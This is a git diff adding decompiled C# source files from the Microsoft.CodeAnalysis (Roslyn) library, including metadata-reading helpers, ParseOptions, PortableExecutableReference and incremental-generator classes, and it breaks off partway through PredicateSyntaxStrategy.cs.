internal bool GetTypeAndConstructor(CustomAttributeHandle customAttribute, out EntityHandle ctorType, out EntityHandle attributeCtor) + { + return GetTypeAndConstructor(MetadataReader, customAttribute, out ctorType, out attributeCtor); + } + + private static bool GetTypeAndConstructor(MetadataReader metadataReader, CustomAttributeHandle customAttribute, out EntityHandle ctorType, out EntityHandle attributeCtor) + { + try + { + ctorType = default(EntityHandle); + attributeCtor = metadataReader.GetCustomAttribute(customAttribute).Constructor; + if (attributeCtor.Kind == HandleKind.MemberReference) + { + MemberReference memberReference = metadataReader.GetMemberReference((MemberReferenceHandle)attributeCtor); + StringHandle name = memberReference.Name; + if (!metadataReader.StringComparer.Equals(name, ".ctor")) + { + return false; + } + ctorType = memberReference.Parent; + } + else + { + if (attributeCtor.Kind != HandleKind.MethodDefinition) + { + return false; + } + MethodDefinition methodDefinition = metadataReader.GetMethodDefinition((MethodDefinitionHandle)attributeCtor); + if (!metadataReader.StringComparer.Equals(methodDefinition.Name, ".ctor")) + { + return false; + } + ctorType = methodDefinition.GetDeclaringType(); + } + return true; + } + catch (BadImageFormatException) + { + ctorType = default(EntityHandle); + attributeCtor = default(EntityHandle); + return false; + } + } + + internal bool GetAttributeNamespaceAndName(EntityHandle typeDefOrRef, out StringHandle namespaceHandle, out StringHandle nameHandle) + { + return GetAttributeNamespaceAndName(MetadataReader, typeDefOrRef, out namespaceHandle, out nameHandle); + } + + private static bool GetAttributeNamespaceAndName(MetadataReader metadataReader, EntityHandle typeDefOrRef, out StringHandle namespaceHandle, out StringHandle nameHandle) + { + nameHandle = default(StringHandle); + namespaceHandle = default(StringHandle); + try + { + if (typeDefOrRef.Kind == HandleKind.TypeReference) + { + TypeReference typeReference = metadataReader.GetTypeReference((TypeReferenceHandle)typeDefOrRef); + HandleKind kind = typeReference.ResolutionScope.Kind; + if (kind == HandleKind.TypeReference || kind == HandleKind.TypeDefinition) + { + return false; + } + nameHandle = typeReference.Name; + namespaceHandle = typeReference.Namespace; + } + else + { + if (typeDefOrRef.Kind != HandleKind.TypeDefinition) + { + return false; + } + TypeDefinition typeDefinition = metadataReader.GetTypeDefinition((TypeDefinitionHandle)typeDefOrRef); + if (IsNested(typeDefinition.Attributes)) + { + return false; + } + nameHandle = typeDefinition.Name; + namespaceHandle = typeDefinition.Namespace; + } + return true; + } + catch (BadImageFormatException) + { + return false; + } + } + + internal void PretendThereArentNoPiaLocalTypes() + { + _lazyContainsNoPiaLocalTypes = ThreeState.False; + } + + internal bool ContainsNoPiaLocalTypes() + { + if (_lazyContainsNoPiaLocalTypes == ThreeState.Unknown) + { + try + { + foreach (CustomAttributeHandle customAttribute in MetadataReader.CustomAttributes) + { + int num = IsTypeIdentifierAttribute(customAttribute); + if (num != -1) + { + _lazyContainsNoPiaLocalTypes = ThreeState.True; + TypeDefinitionHandle typeDef = (TypeDefinitionHandle)MetadataReader.GetCustomAttribute(customAttribute).Parent; + RegisterNoPiaLocalType(typeDef, customAttribute, num); + return true; + } + } + } + catch (BadImageFormatException) + { + } + _lazyContainsNoPiaLocalTypes = ThreeState.False; + } + return _lazyContainsNoPiaLocalTypes == ThreeState.True; + } + + internal bool HasNullableContextAttribute(EntityHandle token, out byte value) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.NullableContextAttribute); + if (!attributeInfo.HasValue) + { + value = 0; + return false; + } + return TryExtractValueFromAttribute(attributeInfo.Handle, out value, s_attributeByteValueExtractor); + } + + internal bool HasNullableAttribute(EntityHandle token, out byte defaultTransform, out ImmutableArray nullableTransforms) + { + AttributeInfo attributeInfo = FindTargetAttribute(token, AttributeDescription.NullableAttribute); + defaultTransform = 0; + nullableTransforms = default(ImmutableArray); + if (!attributeInfo.HasValue) + { + return false; + } + if (attributeInfo.SignatureIndex == 0) + { + return TryExtractValueFromAttribute(attributeInfo.Handle, out defaultTransform, s_attributeByteValueExtractor); + } + return TryExtractByteArrayValueFromAttribute(attributeInfo.Handle, out nullableTransforms); + } + + internal BlobReader GetTypeSpecificationSignatureReaderOrThrow(TypeSpecificationHandle typeSpec) + { + BlobHandle signature = MetadataReader.GetTypeSpecification(typeSpec).Signature; + return MetadataReader.GetBlobReader(signature); + } + + internal void GetMethodSpecificationOrThrow(MethodSpecificationHandle handle, out EntityHandle method, out BlobHandle instantiation) + { + MethodSpecification methodSpecification = MetadataReader.GetMethodSpecification(handle); + method = methodSpecification.Method; + instantiation = methodSpecification.Signature; + } + + internal void GetGenericParamPropsOrThrow(GenericParameterHandle handle, out string name, out GenericParameterAttributes flags) + { + GenericParameter genericParameter = MetadataReader.GetGenericParameter(handle); + name = MetadataReader.GetString(genericParameter.Name); + flags = genericParameter.Attributes; + } + + internal string GetMethodDefNameOrThrow(MethodDefinitionHandle methodDef) + { + return MetadataReader.GetString(MetadataReader.GetMethodDefinition(methodDef).Name); + } + + internal BlobHandle GetMethodSignatureOrThrow(MethodDefinitionHandle methodDef) + { + return GetMethodSignatureOrThrow(MetadataReader, methodDef); + } + + private static BlobHandle GetMethodSignatureOrThrow(MetadataReader metadataReader, MethodDefinitionHandle methodDef) + { + return metadataReader.GetMethodDefinition(methodDef).Signature; + } + + internal BlobHandle GetMethodSignatureOrThrow(EntityHandle methodDefOrRef) + { + return GetMethodSignatureOrThrow(MetadataReader, methodDefOrRef); + } + + private static BlobHandle GetMethodSignatureOrThrow(MetadataReader metadataReader, EntityHandle methodDefOrRef) + { + return methodDefOrRef.Kind switch + { + HandleKind.MethodDefinition => GetMethodSignatureOrThrow(metadataReader, (MethodDefinitionHandle)methodDefOrRef), + HandleKind.MemberReference => GetSignatureOrThrow(metadataReader, (MemberReferenceHandle)methodDefOrRef), + _ => throw ExceptionUtilities.UnexpectedValue(methodDefOrRef.Kind), + }; + } + + public MethodAttributes GetMethodDefFlagsOrThrow(MethodDefinitionHandle methodDef) + { + return MetadataReader.GetMethodDefinition(methodDef).Attributes; + } + + internal TypeDefinitionHandle FindContainingTypeOrThrow(MethodDefinitionHandle methodDef) + { + return MetadataReader.GetMethodDefinition(methodDef).GetDeclaringType(); + } + + internal TypeDefinitionHandle FindContainingTypeOrThrow(FieldDefinitionHandle fieldDef) + { + return MetadataReader.GetFieldDefinition(fieldDef).GetDeclaringType(); + } + + internal EntityHandle GetContainingTypeOrThrow(MemberReferenceHandle memberRef) + { + return MetadataReader.GetMemberReference(memberRef).Parent; + } + + public void GetMethodDefPropsOrThrow(MethodDefinitionHandle methodDef, out string name, out MethodImplAttributes implFlags, out MethodAttributes flags, out int rva) + { + MethodDefinition methodDefinition = MetadataReader.GetMethodDefinition(methodDef); + name = MetadataReader.GetString(methodDefinition.Name); + implFlags = methodDefinition.ImplAttributes; + flags = methodDefinition.Attributes; + rva = methodDefinition.RelativeVirtualAddress; + } + + internal void GetMethodImplPropsOrThrow(MethodImplementationHandle methodImpl, out EntityHandle body, out EntityHandle declaration) + { + System.Reflection.Metadata.MethodImplementation methodImplementation = MetadataReader.GetMethodImplementation(methodImpl); + body = methodImplementation.MethodBody; + declaration = methodImplementation.MethodDeclaration; + } + + internal GenericParameterHandleCollection GetGenericParametersForMethodOrThrow(MethodDefinitionHandle methodDef) + { + return MetadataReader.GetMethodDefinition(methodDef).GetGenericParameters(); + } + + internal ParameterHandleCollection GetParametersOfMethodOrThrow(MethodDefinitionHandle methodDef) + { + return MetadataReader.GetMethodDefinition(methodDef).GetParameters(); + } + + internal DllImportData GetDllImportData(MethodDefinitionHandle methodDef) + { + try + { + MethodImport import = MetadataReader.GetMethodDefinition(methodDef).GetImport(); + if (import.Module.IsNil) + { + return null; + } + string moduleRefNameOrThrow = GetModuleRefNameOrThrow(import.Module); + string entryPointName = MetadataReader.GetString(import.Name); + MethodImportAttributes attributes = import.Attributes; + return new DllImportData(moduleRefNameOrThrow, entryPointName, attributes); + } + catch (BadImageFormatException) + { + return null; + } + } + + public string GetMemberRefNameOrThrow(MemberReferenceHandle memberRef) + { + return GetMemberRefNameOrThrow(MetadataReader, memberRef); + } + + private static string GetMemberRefNameOrThrow(MetadataReader metadataReader, MemberReferenceHandle memberRef) + { + return metadataReader.GetString(metadataReader.GetMemberReference(memberRef).Name); + } + + internal BlobHandle GetSignatureOrThrow(MemberReferenceHandle memberRef) + { + return GetSignatureOrThrow(MetadataReader, memberRef); + } + + private static BlobHandle GetSignatureOrThrow(MetadataReader metadataReader, MemberReferenceHandle memberRef) + { + return metadataReader.GetMemberReference(memberRef).Signature; + } + + public void GetMemberRefPropsOrThrow(MemberReferenceHandle memberRef, out EntityHandle @class, out string name, out byte[] signature) + { + MemberReference memberReference = MetadataReader.GetMemberReference(memberRef); + @class = memberReference.Parent; + name = MetadataReader.GetString(memberReference.Name); + signature = MetadataReader.GetBlobBytes(memberReference.Signature); + } + + internal void GetParamPropsOrThrow(ParameterHandle parameterDef, out string name, out ParameterAttributes flags) + { + Parameter parameter = MetadataReader.GetParameter(parameterDef); + name = MetadataReader.GetString(parameter.Name); + flags = parameter.Attributes; + } + + internal string GetParamNameOrThrow(ParameterHandle parameterDef) + { + Parameter parameter = MetadataReader.GetParameter(parameterDef); + return MetadataReader.GetString(parameter.Name); + } + + internal int GetParameterSequenceNumberOrThrow(ParameterHandle param) + { + return MetadataReader.GetParameter(param).SequenceNumber; + } + + internal string GetPropertyDefNameOrThrow(PropertyDefinitionHandle propertyDef) + { + return MetadataReader.GetString(MetadataReader.GetPropertyDefinition(propertyDef).Name); + } + + internal BlobHandle GetPropertySignatureOrThrow(PropertyDefinitionHandle propertyDef) + { + return MetadataReader.GetPropertyDefinition(propertyDef).Signature; + } + + internal void GetPropertyDefPropsOrThrow(PropertyDefinitionHandle propertyDef, out string name, out PropertyAttributes flags) + { + PropertyDefinition propertyDefinition = MetadataReader.GetPropertyDefinition(propertyDef); + name = MetadataReader.GetString(propertyDefinition.Name); + flags = propertyDefinition.Attributes; + } + + internal string GetEventDefNameOrThrow(EventDefinitionHandle eventDef) + { + return MetadataReader.GetString(MetadataReader.GetEventDefinition(eventDef).Name); + } + + internal void GetEventDefPropsOrThrow(EventDefinitionHandle eventDef, out string name, out EventAttributes flags, out EntityHandle type) + { + EventDefinition eventDefinition = MetadataReader.GetEventDefinition(eventDef); + name = MetadataReader.GetString(eventDefinition.Name); + flags = eventDefinition.Attributes; + type = eventDefinition.Type; + } + + public string GetFieldDefNameOrThrow(FieldDefinitionHandle fieldDef) + { + return MetadataReader.GetString(MetadataReader.GetFieldDefinition(fieldDef).Name); + } + + internal BlobHandle GetFieldSignatureOrThrow(FieldDefinitionHandle fieldDef) + { + return MetadataReader.GetFieldDefinition(fieldDef).Signature; + } + + public FieldAttributes GetFieldDefFlagsOrThrow(FieldDefinitionHandle fieldDef) + { + return MetadataReader.GetFieldDefinition(fieldDef).Attributes; + } + + public void GetFieldDefPropsOrThrow(FieldDefinitionHandle fieldDef, out string name, out FieldAttributes flags) + { + FieldDefinition fieldDefinition = MetadataReader.GetFieldDefinition(fieldDef); + name = MetadataReader.GetString(fieldDefinition.Name); + flags = fieldDefinition.Attributes; + } + + internal ConstantValue GetParamDefaultValue(ParameterHandle param) + { + try + { + ConstantHandle defaultValue = MetadataReader.GetParameter(param).GetDefaultValue(); + return defaultValue.IsNil ? ConstantValue.Bad : GetConstantValueOrThrow(defaultValue); + } + catch (BadImageFormatException) + { + return ConstantValue.Bad; + } + } + + internal ConstantValue GetConstantFieldValue(FieldDefinitionHandle fieldDef) + { + try + { + ConstantHandle defaultValue = MetadataReader.GetFieldDefinition(fieldDef).GetDefaultValue(); + return defaultValue.IsNil ? ConstantValue.Bad : GetConstantValueOrThrow(defaultValue); + } + catch (BadImageFormatException) + { + return ConstantValue.Bad; + } + } + + public CustomAttributeHandleCollection GetCustomAttributesOrThrow(EntityHandle handle) + { + return MetadataReader.GetCustomAttributes(handle); + } + + public BlobHandle GetCustomAttributeValueOrThrow(CustomAttributeHandle handle) + { + return MetadataReader.GetCustomAttribute(handle).Value; + } + + private BlobHandle GetMarshallingDescriptorHandleOrThrow(EntityHandle fieldOrParameterToken) + { + if (fieldOrParameterToken.Kind != HandleKind.FieldDefinition) + { + return MetadataReader.GetParameter((ParameterHandle)fieldOrParameterToken).GetMarshallingDescriptor(); + } + return MetadataReader.GetFieldDefinition((FieldDefinitionHandle)fieldOrParameterToken).GetMarshallingDescriptor(); + } + + internal UnmanagedType GetMarshallingType(EntityHandle fieldOrParameterToken) + { + try + { + BlobHandle marshallingDescriptorHandleOrThrow = GetMarshallingDescriptorHandleOrThrow(fieldOrParameterToken); + if (marshallingDescriptorHandleOrThrow.IsNil) + { + return (UnmanagedType)0; + } + byte b = MetadataReader.GetBlobReader(marshallingDescriptorHandleOrThrow).ReadByte(); + return (UnmanagedType)((b <= 80) ? b : 0); + } + catch (BadImageFormatException) + { + return (UnmanagedType)0; + } + } + + internal ImmutableArray GetMarshallingDescriptor(EntityHandle fieldOrParameterToken) + { + try + { + BlobHandle marshallingDescriptorHandleOrThrow = GetMarshallingDescriptorHandleOrThrow(fieldOrParameterToken); + if (marshallingDescriptorHandleOrThrow.IsNil) + { + return ImmutableArray.Empty; + } + return MetadataReader.GetBlobBytes(marshallingDescriptorHandleOrThrow).AsImmutableOrNull(); + } + catch (BadImageFormatException) + { + return ImmutableArray.Empty; + } + } + + internal int? GetFieldOffset(FieldDefinitionHandle fieldDef) + { + try + { + int offset = MetadataReader.GetFieldDefinition(fieldDef).GetOffset(); + if (offset == -1) + { + return null; + } + return offset; + } + catch (BadImageFormatException) + { + return null; + } + } + + private ConstantValue GetConstantValueOrThrow(ConstantHandle handle) + { + Constant constant = MetadataReader.GetConstant(handle); + BlobReader blobReader = MetadataReader.GetBlobReader(constant.Value); + switch (constant.TypeCode) + { + case ConstantTypeCode.Boolean: + return ConstantValue.Create(blobReader.ReadBoolean()); + case ConstantTypeCode.Char: + return ConstantValue.Create(blobReader.ReadChar()); + case ConstantTypeCode.SByte: + return ConstantValue.Create(blobReader.ReadSByte()); + case ConstantTypeCode.Int16: + return ConstantValue.Create(blobReader.ReadInt16()); + case ConstantTypeCode.Int32: + return ConstantValue.Create(blobReader.ReadInt32()); + case ConstantTypeCode.Int64: + return ConstantValue.Create(blobReader.ReadInt64()); + case ConstantTypeCode.Byte: + return ConstantValue.Create(blobReader.ReadByte()); + case ConstantTypeCode.UInt16: + return ConstantValue.Create(blobReader.ReadUInt16()); + case ConstantTypeCode.UInt32: + return ConstantValue.Create(blobReader.ReadUInt32()); + case ConstantTypeCode.UInt64: + return ConstantValue.Create(blobReader.ReadUInt64()); + case ConstantTypeCode.Single: + return ConstantValue.Create(blobReader.ReadSingle()); + case ConstantTypeCode.Double: + return ConstantValue.Create(blobReader.ReadDouble()); + case ConstantTypeCode.String: + return ConstantValue.Create(blobReader.ReadUTF16(blobReader.Length)); + case ConstantTypeCode.NullReference: + if (blobReader.ReadUInt32() == 0) + { + return ConstantValue.Null; + } + break; + } + return ConstantValue.Bad; + } + + internal (int FirstIndex, int SecondIndex) GetAssemblyRefsForForwardedType(string fullName, bool ignoreCase, out string matchedName) + { + EnsureForwardTypeToAssemblyMap(); + (int, int) value2; + if (ignoreCase) + { + ensureCaseInsensitiveDictionary(); + if (_lazyCaseInsensitiveForwardedTypesToAssemblyIndexMap.TryGetValue(fullName, out (string, int, int) value)) + { + (matchedName, _, _) = value; + return (FirstIndex: value.Item2, SecondIndex: value.Item3); + } + } + else if (_lazyForwardedTypesToAssemblyIndexMap.TryGetValue(fullName, out value2)) + { + matchedName = fullName; + return value2; + } + matchedName = null; + return (FirstIndex: -1, SecondIndex: -1); + void ensureCaseInsensitiveDictionary() + { + if (_lazyCaseInsensitiveForwardedTypesToAssemblyIndexMap == null) + { + if (_lazyForwardedTypesToAssemblyIndexMap.Count == 0) + { + _lazyCaseInsensitiveForwardedTypesToAssemblyIndexMap = s_sharedEmptyCaseInsensitiveForwardedTypes; + } + else + { + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + foreach (KeyValuePair item3 in _lazyForwardedTypesToAssemblyIndexMap) + { + KeyValuePairUtil.Deconstruct(item3, out var key, out var value3); + (int, int) tuple2 = value3; + string text = key; + var (item, item2) = tuple2; + DictionaryExtensions.TryAdd(dictionary, text, (text, item, item2)); + } + _lazyCaseInsensitiveForwardedTypesToAssemblyIndexMap = dictionary; + } + } + } + } + + internal IEnumerable> GetForwardedTypes() + { + EnsureForwardTypeToAssemblyMap(); + return _lazyForwardedTypesToAssemblyIndexMap; + } + + [MemberNotNull("_lazyForwardedTypesToAssemblyIndexMap")] + private void EnsureForwardTypeToAssemblyMap() + { + if (_lazyForwardedTypesToAssemblyIndexMap != null) + { + return; + } + Dictionary dictionary = null; + try + { + foreach (ExportedTypeHandle exportedType2 in MetadataReader.ExportedTypes) + { + System.Reflection.Metadata.ExportedType exportedType = MetadataReader.GetExportedType(exportedType2); + if (!exportedType.IsForwarder) + { + continue; + } + AssemblyReferenceHandle assemblyRef = (AssemblyReferenceHandle)exportedType.Implementation; + if (assemblyRef.IsNil) + { + continue; + } + int assemblyReferenceIndexOrThrow; + try + { + assemblyReferenceIndexOrThrow = GetAssemblyReferenceIndexOrThrow(assemblyRef); + } + catch (BadImageFormatException) + { + continue; + } + if (assemblyReferenceIndexOrThrow < 0 || assemblyReferenceIndexOrThrow >= ReferencedAssemblies.Length) + { + continue; + } + string text = MetadataReader.GetString(exportedType.Name); + StringHandle handle = exportedType.Namespace; + if (!handle.IsNil) + { + string text2 = MetadataReader.GetString(handle); + if (text2.Length > 0) + { + text = text2 + "." + text; + } + } + if (dictionary == null) + { + dictionary = new Dictionary(); + } + if (dictionary.TryGetValue(text, out var value)) + { + if (value.Item1 != assemblyReferenceIndexOrThrow && value.Item2 < 0) + { + value.Item2 = assemblyReferenceIndexOrThrow; + dictionary[text] = value; + } + } + else + { + dictionary.Add(text, (assemblyReferenceIndexOrThrow, -1)); + } + } + } + catch (BadImageFormatException) + { + } + if (dictionary == null) + { + _lazyForwardedTypesToAssemblyIndexMap = s_sharedEmptyForwardedTypes; + } + else + { + _lazyForwardedTypesToAssemblyIndexMap = dictionary; + } + } + + internal PropertyAccessors GetPropertyMethodsOrThrow(PropertyDefinitionHandle propertyDef) + { + return MetadataReader.GetPropertyDefinition(propertyDef).GetAccessors(); + } + + internal EventAccessors GetEventMethodsOrThrow(EventDefinitionHandle eventDef) + { + return MetadataReader.GetEventDefinition(eventDef).GetAccessors(); + } + + internal int GetAssemblyReferenceIndexOrThrow(AssemblyReferenceHandle assemblyRef) + { + return MetadataReader.GetRowNumber(assemblyRef) - 1; + } + + internal static bool IsNested(TypeAttributes flags) + { + return (flags & TypeAttributes.NestedFamANDAssem) != 0; + } + + internal MethodBodyBlock GetMethodBodyOrThrow(MethodDefinitionHandle methodHandle) + { + MethodDefinition methodDefinition = MetadataReader.GetMethodDefinition(methodHandle); + if ((methodDefinition.ImplAttributes & MethodImplAttributes.CodeTypeMask) != MethodImplAttributes.IL || methodDefinition.RelativeVirtualAddress == 0) + { + return null; + } + return _peReaderOpt.GetMethodBody(methodDefinition.RelativeVirtualAddress); + } + + private static bool StringEquals(MetadataReader metadataReader, StringHandle nameHandle, string name, bool ignoreCase) + { + if (ignoreCase) + { + return string.Equals(metadataReader.GetString(nameHandle), name, StringComparison.OrdinalIgnoreCase); + } + return metadataReader.StringComparer.Equals(nameHandle, name); + } + + public ModuleMetadata GetNonDisposableMetadata() + { + return _owner.Copy(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParamInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParamInfo.cs new file mode 100644 index 0000000..18073ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParamInfo.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +[StructLayout(LayoutKind.Auto)] +internal struct ParamInfo where TypeSymbol : class +{ + internal bool IsByRef; + + internal TypeSymbol Type; + + internal ParameterHandle Handle; + + internal ImmutableArray> RefCustomModifiers; + + internal ImmutableArray> CustomModifiers; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParseOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParseOptions.cs new file mode 100644 index 0000000..0404b76 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ParseOptions.cs @@ -0,0 +1,124 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class ParseOptions +{ + private readonly Lazy> _lazyErrors; + + public SourceCodeKind Kind { get; protected set; } + + public SourceCodeKind SpecifiedKind { get; protected set; } + + public DocumentationMode DocumentationMode { get; protected set; } + + public abstract string Language { get; } + + public ImmutableArray Errors => _lazyErrors.Value; + + public abstract IReadOnlyDictionary Features { get; } + + public abstract IEnumerable PreprocessorSymbolNames { get; } + + internal ParseOptions(SourceCodeKind kind, DocumentationMode documentationMode) + { + SpecifiedKind = kind; + Kind = kind.MapSpecifiedToEffectiveKind(); + DocumentationMode = documentationMode; + _lazyErrors = new Lazy>(delegate + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ValidateOptions(instance); + return instance.ToImmutableAndFree(); + }); + } + + public ParseOptions WithKind(SourceCodeKind kind) + { + return CommonWithKind(kind); + } + + internal abstract void ValidateOptions(ArrayBuilder builder); + + internal void ValidateOptions(ArrayBuilder builder, CommonMessageProvider messageProvider) + { + if (!SpecifiedKind.IsValid()) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_BadSourceCodeKind, Location.None, SpecifiedKind.ToString())); + } + if (!DocumentationMode.IsValid()) + { + builder.Add(messageProvider.CreateDiagnostic(messageProvider.ERR_BadDocumentationMode, Location.None, DocumentationMode.ToString())); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public abstract ParseOptions CommonWithKind(SourceCodeKind kind); + + public ParseOptions WithDocumentationMode(DocumentationMode documentationMode) + { + return CommonWithDocumentationMode(documentationMode); + } + + protected abstract ParseOptions CommonWithDocumentationMode(DocumentationMode documentationMode); + + public ParseOptions WithFeatures(IEnumerable> features) + { + return CommonWithFeatures(features); + } + + protected abstract ParseOptions CommonWithFeatures(IEnumerable> features); + + public abstract override bool Equals(object? obj); + + protected bool EqualsHelper([NotNullWhen(true)] ParseOptions? other) + { + if ((object)other == null) + { + return false; + } + if (SpecifiedKind == other.SpecifiedKind && DocumentationMode == other.DocumentationMode && Features.SequenceEqual(other.Features)) + { + if (PreprocessorSymbolNames != null) + { + return PreprocessorSymbolNames.SequenceEqual(other.PreprocessorSymbolNames, StringComparer.Ordinal); + } + return other.PreprocessorSymbolNames == null; + } + return false; + } + + public abstract override int GetHashCode(); + + protected int GetHashCodeHelper() + { + return Hash.Combine((int)SpecifiedKind, Hash.Combine((int)DocumentationMode, Hash.Combine(HashFeatures(Features), Hash.Combine(Hash.CombineValues(PreprocessorSymbolNames, StringComparer.Ordinal), 0)))); + } + + private static int HashFeatures(IReadOnlyDictionary features) + { + int num = 0; + foreach (KeyValuePair feature in features) + { + num = Hash.Combine(feature.Key.GetHashCode(), Hash.Combine(feature.Value.GetHashCode(), num)); + } + return num; + } + + public static bool operator ==(ParseOptions? left, ParseOptions? right) + { + return object.Equals(left, right); + } + + public static bool operator !=(ParseOptions? left, ParseOptions? right) + { + return !object.Equals(left, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Platform.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Platform.cs new file mode 100644 index 0000000..d97e558 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Platform.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis; + +public enum Platform +{ + AnyCpu, + X86, + X64, + Itanium, + AnyCpu32BitPreferred, + Arm, + Arm64 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PortableExecutableReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PortableExecutableReference.cs new file mode 100644 index 0000000..28b754e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PortableExecutableReference.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +public abstract class PortableExecutableReference : MetadataReference +{ + private readonly string? _filePath; + + private DocumentationProvider? _lazyDocumentation; + + public override string? Display => FilePath; + + public string? FilePath => _filePath; + + internal DocumentationProvider DocumentationProvider + { + get + { + if (_lazyDocumentation == null) + { + Interlocked.CompareExchange(ref _lazyDocumentation, CreateDocumentationProvider(), null); + } + return _lazyDocumentation; + } + } + + protected PortableExecutableReference(MetadataReferenceProperties properties, string? fullPath = null, DocumentationProvider? initialDocumentation = null) + : base(properties) + { + _filePath = fullPath; + _lazyDocumentation = initialDocumentation; + } + + protected abstract DocumentationProvider CreateDocumentationProvider(); + + public new PortableExecutableReference WithAliases(IEnumerable aliases) + { + return WithAliases(ImmutableArray.CreateRange(aliases)); + } + + public new PortableExecutableReference WithAliases(ImmutableArray aliases) + { + return WithProperties(base.Properties.WithAliases(aliases)); + } + + public new PortableExecutableReference WithEmbedInteropTypes(bool value) + { + return WithProperties(base.Properties.WithEmbedInteropTypes(value)); + } + + public new PortableExecutableReference WithProperties(MetadataReferenceProperties properties) + { + if (properties == base.Properties) + { + return this; + } + return WithPropertiesImpl(properties); + } + + internal sealed override MetadataReference WithPropertiesImplReturningMetadataReference(MetadataReferenceProperties properties) + { + return WithPropertiesImpl(properties); + } + + protected abstract PortableExecutableReference WithPropertiesImpl(MetadataReferenceProperties properties); + + protected abstract Metadata GetMetadataImpl(); + + internal Metadata GetMetadataNoCopy() + { + return GetMetadataImpl(); + } + + public Metadata GetMetadata() + { + return GetMetadataNoCopy().Copy(); + } + + public MetadataId GetMetadataId() + { + return GetMetadataNoCopy().Id; + } + + internal static Diagnostic ExceptionToDiagnostic(Exception e, CommonMessageProvider messageProvider, Location location, string display, MetadataImageKind kind) + { + if (e is BadImageFormatException) + { + int code = ((kind == MetadataImageKind.Assembly) ? messageProvider.ERR_InvalidAssemblyMetadata : messageProvider.ERR_InvalidModuleMetadata); + return messageProvider.CreateDiagnostic(code, location, display, e.Message); + } + if (e is FileNotFoundException ex) + { + return messageProvider.CreateDiagnostic(messageProvider.ERR_MetadataFileNotFound, location, ex.FileName ?? string.Empty); + } + int code2 = ((kind == MetadataImageKind.Assembly) ? messageProvider.ERR_ErrorOpeningAssemblyFile : messageProvider.ERR_ErrorOpeningModuleFile); + return messageProvider.CreateDiagnostic(code2, location, display, e.Message); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PostInitOutputNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PostInitOutputNode.cs new file mode 100644 index 0000000..fde2523 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PostInitOutputNode.cs @@ -0,0 +1,21 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal sealed class PostInitOutputNode : IIncrementalGeneratorOutputNode +{ + private readonly Action _callback; + + public IncrementalGeneratorOutputKind Kind => IncrementalGeneratorOutputKind.PostInit; + + public PostInitOutputNode(Action callback) + { + _callback = callback; + } + + public void AppendOutputs(IncrementalExecutionContext context, CancellationToken cancellationToken) + { + _callback(new IncrementalGeneratorPostInitializationContext(context.Sources, cancellationToken), cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PredicateSyntaxStrategy.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PredicateSyntaxStrategy.cs new file mode 100644 index 0000000..13eae3a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PredicateSyntaxStrategy.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class PredicateSyntaxStrategy : ISyntaxSelectionStrategy +{ + private sealed class Builder : ISyntaxInputBuilder + { + private readonly PredicateSyntaxStrategy _owner; + + private readonly string? _name; + + private readonly IEqualityComparer _comparer; + + private readonly object _key; + + private readonly NodeStateTable.Builder _filterTable; + + private readonly NodeStateTable.Builder _transformTable; + + public Builder(PredicateSyntaxStrategy owner, object key, StateTableStore table, bool trackIncrementalSteps, string? name, IEqualityComparer comparer) + { + _owner = owner; + _name = name; + _comparer = comparer; + _key = key; + _filterTable = table.GetStateTableOrEmpty(_owner._filterKey).ToBuilder(null, trackIncrementalSteps); + _transformTable = table.GetStateTableOrEmpty(_key).ToBuilder(_name, trackIncrementalSteps, _comparer); + } + + public void SaveStateAndFree(StateTableStore.Builder tables) + { + tables.SetTable(_owner._filterKey, _filterTable.ToImmutableAndFree()); + tables.SetTable(_key, _transformTable.ToImmutableAndFree()); + } + + public void VisitTree(Lazy root, EntryState state, Lazy? model, CancellationToken cancellationToken) + { + ImmutableArray<(IncrementalGeneratorRunStep, int)> stepInputs = (_filterTable.TrackIncrementalSteps ? 